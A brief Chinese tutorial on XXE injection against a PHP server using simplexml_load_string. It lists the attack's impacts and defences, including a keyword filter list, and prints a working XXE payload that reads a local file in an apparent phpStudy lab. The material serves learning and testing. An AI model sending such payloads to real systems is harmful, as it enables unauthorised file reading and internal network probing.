概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题",也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
1.任意文件读取漏洞测试
2.探测内网端口和网站
3.攻击内网网站
4.执行系统命令
1.检查所使用的底层XML解析库,默认禁止外部实体的解析;
2.若使用第三方应用代码需要及时升级补丁;
3.对用户提交的XML数据进行过滤,如关键词:<!DOCTYPE和<!ENTITY或者SYSTEM和PUBLIC等。
服务端代码分析使用simplexml_load_string函数,允许执行xml,且无过滤措施
创建一个测试xml
/*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "file:///C:/phpStudy/WWW/1.txt" >]>
<name>&XXE;</name>
*/
读取文件测试